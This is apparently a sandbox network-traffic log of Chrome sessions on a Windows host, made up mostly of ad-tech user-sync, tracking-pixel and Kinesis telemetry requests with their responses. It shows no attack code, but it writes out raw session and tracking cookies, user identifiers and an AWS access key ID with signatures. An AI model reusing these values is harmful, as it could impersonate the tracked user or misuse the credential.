2024-04-27 22:42:11 UTC	3064	OUT	POST /vevent?an_audit=0&referrer=https%3A%2F%2Fwww.yahoo.com%2F&e=wqT_3QLuC_SoAe4FAAADANYABQEIt_61sQYQ9eeehM23qfNMGN7Pt_v1oeCUUyo2CY-2CMZNcN0_EaJinL8JhdU_GQAAAIDrUR9AIWz9oVcLhdU_KeMZNPRPcN0_MQAAAAAAAPA_MIri2Qo45z1AlHZIAlCU46bzAViOlpcBYABooLBnePXpBYABAYoBA1VTRJIBA1VTRJgBrAKgAfoBqAEBsAEAuAECwAEFyAEC0AEJ2AEA4AEA8AEAigJodWYoJ2EnLCA5Nzg0MzcyLCAwKTt1ZignaScsIDk5NDY0MzksIDApO3VmKCdnJywgMjU0NTM0ODcsIDApO3VmKCdjJywgNjA1MzQxOTIsIDApO3VmKCdyJywgNTEwMjQzMjIwLCAwKTuSApUFIV9vYTNJQWl3Mi00Y0VKVGpwdk1CR0FBZ2pwYVhBVEFCT0FCQUFFaVVkbENLNHRrS1dBQmdyZ05vQUhBRWVNUVBnQUVNaUFIRUQ1QUJBWmdCQWFBQkFxZ0JBckFCQUxrQnJvdjBsMTF3M1RfQkFhNkw5SmRkY04wX3lRRUFBQUFBNVVqcVA5a0JBAQ2AQUFBOERfZ0FjZUszd1QxQVdabTVqLVlBZ0NnQWdLMUFnASIEQzkJCPCQREFBZ3pJQXNRUDBBSU0yQUxFRC1BQ0FPZ0NBUGdDQUlBREFaZ0RBYUlERGdqNjV1YzRFQVFZQVMySkMzODVvZ01WQ0wzMHlqZ1FDaGdCTFNoSFVqOHlCV04wTWpreHVnTUpUbGxOTWpvME5UQTQ0QU9oUm9BRTJjam9EWWdFOXNlU0RwQUVBWmdFQk1FRUFBQQGdFEFBQURKQgEHDQEIMFFRCQogTUFoUU5nRUFQLiwAIENJQlp3anFRVQkkGEFEd1A3RUYNDQFMBEJCDT8BAQB5FSgMQUFRTjIoAABaFShIUEFfNEFXdTV3THFCU1 [TRUNCATED] Host: nym1-ib.adnxs.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M4/8CxrEQF']wIg2Hc#u`tfT!@wnf-Te9(>wL5L!!'p1%#-e8
2024-04-27 22:42:11 UTC	1421	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: d8062684-7932-45b0-a3bb-f3795b202b10 Set-Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:11 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 15-Apr-2034 22:42:11 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=1476058396850158061; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:11 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 149.18.24.69; 149.18.24.69; 676.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
352	192.168.2.4	50190	52.85.132.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	822	OUT	GET /profiles_engine/ProfilesEngineServlet?at=20&mi=10&dpi=1980923529&pcid=786797b7-bf38-456a-a874-4aad6fb5186b&ckls=true&ci=4GVRYAeKgB&nc=false&trid=-2008873581 HTTP/1.1 Host: sync1.intentiq.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IQver=1.9; intentIQ=4GVRYAeKgB
2024-04-27 22:42:11 UTC	1334	IN	HTTP/1.1 200 Content-Type: image/gif Content-Length: 43 Connection: close Date: Sat, 27 Apr 2024 22:42:11 GMT Set-Cookie: IQver=1.9; Domain=.intentiq.com; Expires=Mon, 27 Apr 2026 22:42:11 GMT; Path=/; Secure; SameSite=None P3P: CP="NOI DSP COR NID CURa ADMo TAIa PSAo PSDo OUR SAMo BUS UNI PUR COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: intentIQ=4GVRYAeKgB; Domain=.intentiq.com; Expires=Mon, 27 Apr 2026 22:42:11 GMT; Path=/; Secure; SameSite=None Set-Cookie: CSDT=UEQ6MTUzNThfMCZVQkJpanlp; Domain=.intentiq.com; Expires=Mon, 27 Apr 2026 22:42:11 GMT; Path=/; Secure; SameSite=None Set-Cookie: IQPData=2500991045#1714257731540#0#1714257731540; Domain=.intentiq.com; Expires=Mon, 27 Apr 2026 22:42:11 GMT; Path=/; Secure; SameSite=None Set-Cookie: ASDT=0; Domain=.intentiq.com; Expires=Mon, 27 Apr 2026 22:42:11 GMT; Path=/; Secure; SameSite=None Set-Cookie: intentIQCDate=1714257731542; Domain=.intentiq.com; Expires=Mon, 27 Apr 2026 22:42:11 GMT; Path=/; Secure; SameSite=None Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Cache: Miss from cloudfront Via: 1.1 65515d7b1028cd133489fb761d35fa06.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD50-C2 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: jSgVSrOSjHFEcBPkvId4jNFLJvQQbO6h0Z6h6wXCb1x7T9ErC0Ogvw==
2024-04-27 22:42:11 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
353	192.168.2.4	50194	35.207.24.140	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	745	OUT	GET /sync?ssp=medianet&ssp_user_id=3572593249104590000V10 HTTP/1.1 Host: rtb.mfadsrvr.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: c=1714257726; tuuid=786797b7-bf38-456a-a874-4aad6fb5186b; tuuid_lu=1714257729; ssh=!medianet=1714257729
2024-04-27 22:42:11 UTC	466	IN	HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache, no-store, must-revalidate Content-Length: 0 Date: Sat, 27 Apr 2024 22:42:11 GMT Location: //contextual.media.net/cksync.php?type=mf&ovsid=786797b7-bf38-456a-a874-4aad6fb5186b&cs=1 Set-Cookie: ssh=!medianet=1714257731; path=/; expires=Sun, 27-Apr-2025 22:42:11 GMT; domain=.mfadsrvr.com; samesite=none; secure Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
354	192.168.2.4	50196	13.32.208.88	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	726	OUT	GET /images/ad-choices.svg HTTP/1.1 Host: static.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169
2024-04-27 22:42:11 UTC	783	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-Length: 699 Connection: close Date: Sat, 27 Apr 2024 03:40:44 GMT x-amz-replication-status: COMPLETED Last-Modified: Tue, 27 Oct 2015 18:00:31 GMT ETag: "f5483cecc2fab32a508cf2b5e5b94abf" x-amz-meta-replication-status: COMPLETED x-amz-meta-version-id: smI0KdhlAdY.1IFWTq3aCHXjwPmdIPiO x-amz-version-id: Ukz5ZHLPgcDoG6SlEGbKyNIwGl0_QMqF Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 69e952c7b08727f752b5559b0b6d2108.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD66-C1 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: BPkE0cwlxwfOzKD3VrGBE_Q7WP8tKA6u1HvvTV9kXMet3y2ailqhuw== Age: 68488 cache-control: private, max-age=86400 x-response-headers-policy: static-yieldmo-com_svg Vary: Origin
2024-04-27 22:42:11 UTC	699	IN	Data Raw: 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 0a 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 35 39 20 31 36 31 2e 31 22 20 65 6e 61 62 6c 65 2d 62 61 63 6b 67 72 6f 75 6e 64 3d 22 6e 65 77 20 30 20 30 20 31 35 39 20 31 36 31 2e 31 22 20 78 6d 6c 3a 73 70 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 3e 0a 3c 67 20 69 64 3d 22 4c 61 79 65 72 5f 32 22 3e 0a 20 20 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 30 30 41 43 43 41 22 20 64 3d 22 4d 31 33 39 2e 36 2c 39 31 2e 35 63 Data Ascii: <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 159 161.1" enable-background="new 0 0 159 161.1" xml:space="preserve"><g id="Layer_2"> <path fill="#00ACCA" d="M139.6,91.5c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
355	192.168.2.4	50201	34.200.65.202	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	1183	OUT	GET /ups/58292/sync?_origin=1&uid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&redir=true&gdpr=0&gdpr_consent= HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; IDSYNC="19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y"
2024-04-27 22:42:11 UTC	833	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y:18z8~2i3y";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Sun, 27-Apr-2025 22:42:11 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://image4.pubmatic.com/AdServer/SPug?partnerID=156078&xid=y-nf1VF.ZE2uVQ3O9Z0CITcwq0tC3xkHY-~A&gdpr=0 Age: 0 Connection: close Server: ATS/9.1.10.112 Set-Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; Expires=Mon, 28 Apr 2025 04:42:11 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
356	192.168.2.4	50195	52.223.40.198	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	699	OUT	GET /track/rid?ttd_pid=yieldmo&fmt=json HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAEYBSABKAIyCwiQndbuv8XzPBAFOAE.
2024-04-27 22:42:11 UTC	718	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Type: application/json Content-Length: 108 Connection: close server: Kestrel access-control-allow-credentials: true access-control-allow-headers: Origin, X-Requested-With, Content-Type, Content-Length, Content-Encoding, Vary, Cache-Control, Accept access-control-allow-origin: null cache-control: private expires: Mon, 27 May 2024 22:42:11 GMT set-cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; expires=Sun, 27 Apr 2025 22:42:11 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYBSABKAIyCwiQndbuv8XzPBAFOAE.; expires=Sun, 27 Apr 2025 22:42:11 GMT; domain=.adsrvr.org; path=/; secure; samesite=none vary: Origin
2024-04-27 22:42:11 UTC	108	IN	Data Raw: 7b 22 54 44 49 44 22 3a 22 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 37 33 37 65 64 34 64 62 64 22 2c 22 54 44 49 44 5f 4c 4f 4f 4b 55 50 22 3a 22 54 52 55 45 22 2c 22 54 44 49 44 5f 43 52 45 41 54 45 44 5f 41 54 22 3a 22 32 30 32 34 2d 30 33 2d 32 37 54 32 32 3a 34 32 3a 31 31 22 7d Data Ascii: {"TDID":"43e7dc8e-5458-4375-be4a-644737ed4dbd","TDID_LOOKUP":"TRUE","TDID_CREATED_AT":"2024-03-27T22:42:11"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
357	192.168.2.4	50193	3.91.171.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	1225	OUT	POST / HTTP/1.1 Host: kinesis.us-east-1.amazonaws.com Connection: keep-alive Content-Length: 1337 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Pragma: no-cache sec-ch-ua-mobile: ?0 Authorization: AWS4-HMAC-SHA256 Credential=AKIAIPUUKKTGWLCOV32A/20240427/us-east-1/kinesis/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date;x-amz-target;x-amz-user-agent, Signature=3c673caf173f5530199c0c792658775b25efa50ce4b6299e354166db0c44b0fc User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-amz-json-1.1 X-Amz-Content-Sha256: 58453cc801b275743984d46eba5b9ec5f15154802644278f65230807275911dd Cache-Control: no-cache X-Amz-Target: Kinesis_20131202.PutRecord X-Amz-Date: 20240427T224209Z X-Amz-User-Agent: aws-sdk-js/2.10.0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	1337	OUT	Data Raw: 7b 22 44 61 74 61 22 3a 22 65 79 4a 6c 64 6d 56 75 64 48 4d 69 4f 6c 74 37 49 6d 52 68 64 47 45 69 4f 6e 73 69 62 32 5a 6d 63 32 56 30 57 43 49 36 4f 54 6b 35 4f 54 6b 35 4c 43 4a 76 5a 6d 5a 7a 5a 58 52 5a 49 6a 6f 35 4f 54 6b 35 4f 54 6b 73 49 6d 55 69 4f 6a 45 78 4c 43 4a 77 59 57 64 6c 58 33 56 79 62 43 49 36 49 6d 68 30 64 48 42 7a 4f 69 38 76 4e 7a 51 7a 4e 6a 67 32 4d 47 46 69 4e 47 59 79 5a 6d 5a 6b 59 7a 67 30 4d 44 4e 69 5a 44 68 6c 4d 7a 4d 31 59 32 49 31 4d 57 4d 75 63 32 46 6d 5a 57 5a 79 59 57 31 6c 4c 6d 64 76 62 32 64 73 5a 58 4e 35 62 6d 52 70 59 32 46 30 61 57 39 75 4c 6d 4e 76 62 53 39 7a 59 57 5a 6c 5a 6e 4a 68 62 57 55 76 4d 53 30 77 4c 54 51 77 4c 32 68 30 62 57 77 76 59 32 39 75 64 47 46 70 62 6d 56 79 4c 6d 68 30 62 57 77 69 4c 43 Data Ascii: {"Data":"eyJldmVudHMiOlt7ImRhdGEiOnsib2Zmc2V0WCI6OTk5OTk5LCJvZmZzZXRZIjo5OTk5OTksImUiOjExLCJwYWdlX3VybCI6Imh0dHBzOi8vNzQzNjg2MGFiNGYyZmZkYzg0MDNiZDhlMzM1Y2I1MWMuc2FmZWZyYW1lLmdvb2dsZXN5bmRpY2F0aW9uLmNvbS9zYWZlZnJhbWUvMS0wLTQwL2h0bWwvY29udGFpbmVyLmh0bWwiLC
2024-04-27 22:42:11 UTC	455	IN	HTTP/1.1 200 OK x-amzn-RequestId: d338c0df-00cc-4da3-8d9f-415caba223b1 Access-Control-Allow-Origin: * x-amz-id-2: IPrl1V9BrcROIKNeZQ2MshErjNvzCliJdxh5F3pb/Vc5Q/utiCy5NUEd13YaLn5xwQhmZFjFpMaMl1kCjvJeMUpYE9hfdX6e Access-Control-Expose-Headers: x-amzn-RequestId,x-amzn-ErrorType,x-amz-request-id,x-amz-id-2,x-amzn-ErrorMessage,Date Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Type: application/x-amz-json-1.1 Content-Length: 133 Connection: close
2024-04-27 22:42:11 UTC	133	IN	Data Raw: 7b 22 45 6e 63 72 79 70 74 69 6f 6e 54 79 70 65 22 3a 22 4b 4d 53 22 2c 22 53 65 71 75 65 6e 63 65 4e 75 6d 62 65 72 22 3a 22 34 39 36 34 39 33 33 31 37 33 34 32 38 30 30 32 38 33 37 33 33 38 36 35 39 37 30 39 33 37 39 35 36 39 37 38 39 39 35 38 34 38 35 30 37 38 38 35 30 31 30 34 31 36 36 36 22 2c 22 53 68 61 72 64 49 64 22 3a 22 73 68 61 72 64 49 64 2d 30 30 30 30 30 30 30 30 38 39 39 32 22 7d Data Ascii: {"EncryptionType":"KMS","SequenceNumber":"49649331734280028373386597093795697899584850788501041666","ShardId":"shardId-000000008992"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
358	192.168.2.4	50191	3.91.171.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	1224	OUT	POST / HTTP/1.1 Host: kinesis.us-east-1.amazonaws.com Connection: keep-alive Content-Length: 873 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Pragma: no-cache sec-ch-ua-mobile: ?0 Authorization: AWS4-HMAC-SHA256 Credential=AKIAIPUUKKTGWLCOV32A/20240427/us-east-1/kinesis/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date;x-amz-target;x-amz-user-agent, Signature=0cd4c44962ce96f392de719dbad70ff23b14b9b6a26d61910bebe1845a879008 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-amz-json-1.1 X-Amz-Content-Sha256: 9dfe805c31d2777de88fe1cd64e508209faec35cadeffcb0dc7871b831d3ce28 Cache-Control: no-cache X-Amz-Target: Kinesis_20131202.PutRecord X-Amz-Date: 20240427T224209Z X-Amz-User-Agent: aws-sdk-js/2.10.0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	873	OUT	Data Raw: 7b 22 44 61 74 61 22 3a 22 65 79 4a 6c 64 6d 56 75 64 48 4d 69 4f 6c 74 37 49 6d 52 68 64 47 45 69 4f 6e 73 69 61 57 35 30 5a 58 4a 7a 64 47 6c 30 61 57 46 73 49 6a 6f 77 66 53 77 69 64 69 49 36 49 6a 6b 75 4d 6a 41 75 4e 69 30 32 4e 44 55 69 4c 43 4a 73 59 57 35 6c 49 6a 6f 69 65 57 30 75 4d 43 49 73 49 6e 4a 6c 5a 32 6c 76 62 69 49 36 49 6e 56 7a 4c 57 56 68 63 33 51 74 4d 57 45 69 4c 43 4a 30 65 58 42 6c 49 6a 6f 69 5a 58 4a 79 62 33 49 69 4c 43 4a 7a 64 47 6c 74 5a 53 49 36 4d 54 63 78 4e 44 49 31 4e 7a 63 79 4f 54 49 35 4f 53 77 69 5a 58 52 70 62 57 55 69 4f 6a 45 33 4d 54 51 79 4e 54 63 33 4d 6a 6b 79 4f 54 6b 73 49 6e 4e 31 59 69 49 36 49 6b 6c 66 54 6b 56 54 56 45 56 45 58 30 6c 4f 58 31 4e 42 54 6b 52 43 54 31 67 69 66 53 78 37 49 6d 52 68 64 47 Data Ascii: {"Data":"eyJldmVudHMiOlt7ImRhdGEiOnsiaW50ZXJzdGl0aWFsIjowfSwidiI6IjkuMjAuNi02NDUiLCJsYW5lIjoieW0uMCIsInJlZ2lvbiI6InVzLWVhc3QtMWEiLCJ0eXBlIjoiZXJyb3IiLCJzdGltZSI6MTcxNDI1NzcyOTI5OSwiZXRpbWUiOjE3MTQyNTc3MjkyOTksInN1YiI6IklfTkVTVEVEX0lOX1NBTkRCT1gifSx7ImRhdG
2024-04-27 22:42:11 UTC	455	IN	HTTP/1.1 200 OK x-amzn-RequestId: e5a2ba32-9015-0482-bb05-3bb1ed432be2 Access-Control-Allow-Origin: * x-amz-id-2: daMLc7KjI0HG2csq3CcI3bsbo/wxlib+LjK3pcBddKSzduV5mvnciq3wN8JhT2lnng6MdBnu2X3YIDLDa5QHHIQE75ee8WLg Access-Control-Expose-Headers: x-amzn-RequestId,x-amzn-ErrorType,x-amz-request-id,x-amz-id-2,x-amzn-ErrorMessage,Date Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Type: application/x-amz-json-1.1 Content-Length: 133 Connection: close
2024-04-27 22:42:11 UTC	133	IN	Data Raw: 7b 22 45 6e 63 72 79 70 74 69 6f 6e 54 79 70 65 22 3a 22 4b 4d 53 22 2c 22 53 65 71 75 65 6e 63 65 4e 75 6d 62 65 72 22 3a 22 34 39 36 34 39 33 33 31 39 30 36 35 35 33 32 38 35 30 33 31 37 33 36 36 35 34 38 39 37 39 33 34 39 30 30 33 32 30 32 35 39 34 36 31 34 39 32 34 35 32 32 34 31 36 31 38 22 2c 22 53 68 61 72 64 49 64 22 3a 22 73 68 61 72 64 49 64 2d 30 30 30 30 30 30 30 30 38 39 37 33 22 7d Data Ascii: {"EncryptionType":"KMS","SequenceNumber":"49649331906553285031736654897934900320259461492452241618","ShardId":"shardId-000000008973"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
359	192.168.2.4	50199	38.91.45.7	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	716	OUT	GET /usersync/141?gdpr=0&gdpr_consent= HTTP/1.1 Host: match.deepintent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
